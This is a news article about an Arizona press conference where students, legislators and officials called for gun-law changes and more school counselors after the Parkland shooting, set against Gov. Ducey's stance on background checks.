Jordan Harb said the walkout — and Capitol rally for students already on break — will feature 17 minutes of silence, one for each of the students killed at Marjory Stoneman Douglas High School in Parkland, Fla. But Harb, speaking at a press conference Monday, said the other purpose is “to tell our legislators that we want our lives taken into account.”

Harb’s comments came as others at the Monday event on the Capitol lawn made their own proposals for the kinds of changes in law that they believe would reduce gun violence. These include universal background checks on buyers, prohibiting those charged with domestic violence from having weapons, and allowing a judge to issue a “mental health injunction” to remove firearms from those who are found to pose “a significant danger of personal injury to himself or another.”

But Harb said while he supports those moves, there’s an even simpler way of helping to deal with the problem, one that doesn’t get into the controversial area of who gets to have guns: more counselors.

“I know people who are going through terrible things and have thought about killing themselves,” he said.

“And they can’t get help at our school because our psychologist has 4,000 students to deal with,” Harb said. “And it’s not OK.”

Much of the frustration expressed at Monday’s press conference centers around the fact that only one measure dealing with weapons got a hearing this year. And that was a bill to override rules by the Department of Child Safety that spell out that foster families cannot have loaded weapons in their homes.

That measure seems to have stalled in the wake of the latest outcry over gun violence. But other bills introduced by Democrats in the Republican-controlled Legislature have been unable to get even an airing.

Rep. Randy Friese, D-Tucson, touted HB 2024 to require true universal background checks.

Under current law, a federally licensed firearm dealer can sell a weapon only after running that person’s name through a federal database to see if there is a legal reason he or she cannot have a gun. But none of that applies in person-to-person sales, even if the seller is disposing of multiple weapons at a gun show.

In fact, Gov. Doug Ducey actually signed legislation just last year to prohibit any sort of background check on individual sales, including precluding cities from having their own requirements for checks when the gun show is being operated on city property.

Speaking with reporters later Monday, the governor said his administration is “taking a look at background checks,” including how information about local violations end up in the national database.

“Our focus is on school safety and how we make our schools safer,” Ducey said when meeting with reporters later in the day. “I’m looking to keep all the guns out of the hands of the individuals that should not have them.”

But Ducey gave no indication he is interested in closing what some call the “gun show loophole.”

“There are also federally registered gun dealers at gun shows that perform background checks,” he said when asked about the issue.

That is true. And licensed dealers do have to perform background checks on their own sales.

But none of that affects the ability of anyone else to transfer a weapon without a check. In fact, the law Ducey signed specifically overruled a Tucson ordinance that said a licensed dealer had to perform a background check for those person-to-person sales.

The governor, however, said he sees background checks through a different lens.

“When a grandfather wants to pass a shotgun down to a grandson, we’re not going to have … private exchange background checks,” Ducey said.

During the press conference, deputy Pima County Attorney Kathleen Mayer put in a word for HB 2140. It would permit a family member or law enforcement to go to court and get an injunction to take away weapons, at least temporarily, from someone who she said is suffering an “acute mental health crisis.” Mayer said that had such a law been in effect in 2011, Jared Loughner might not have had access to a weapon he used to kill six people and seriously injure 13 others including Congresswoman Gabrielle Giffords.

“It is up to us to make sure that this bill does get a hearing,” Mayer said. “We have to flood the phone lines, the emails of our legislators to actually stand up and do something.”

Daniel Hernandez, now a state legislator, recalled that he was just 20 at the time, “only two years older than many of the students at Parkland, when he was working as an intern for Giffords and “had to hold the head of his boss as she was shot in the head.”

“I come as a school board member who served in the Sunnyside Unified School District when the Newtown (Conn.) shooting happened and we were told, ‘This is it, this is the moment, this is when things will change,” he said, recalling the 2012 incident at Sandy Hook Elementary School where 20 children and six educators were killed.

“And now I stand here today as a state representive saying enough is enough,” Hernandez said. “We deserve better. Our kids deserve better.”

Ducey said he is listening to the concerns of various parties and is crafting some sort of package he believes will be acceptable. But the governor’s record on the issue — and his repeated claim to be a strong supporter of the Second Amendment — leaves questions.

Aside from banning background checks on person-to-person sales, the governor also penned his approval to a measure which allows lawsuits against cities that enact their own gun laws beyond what the Legislature permits. Ducey also signed a law allowing gun owners to carry their weapons on public streets and sidewalks near and through college and university campuses.

Mayer said her boss, County Attorney Barbara LaWall, is “gratified” the governor is finally reaching out to look for solutions.

“We should take heart in that, but don’t ever give up,” Mayer said, saying LaWall is “waiting to see” what Ducey actually agrees to support.

Lawrence Robinson, the president-elect of the Arizona School Boards Association, said the failure of lawmakers to act, even in the wake of the Parkland shooting, has left students unprotected. He said in the two weeks following that incident there were 17 incidents in Arizona alone where a student was found bringing a gun onto a school campus, things he said could have lead to “a copy-cat incident.”

“We’re playing Russian roulette with our kids,” Robinson said.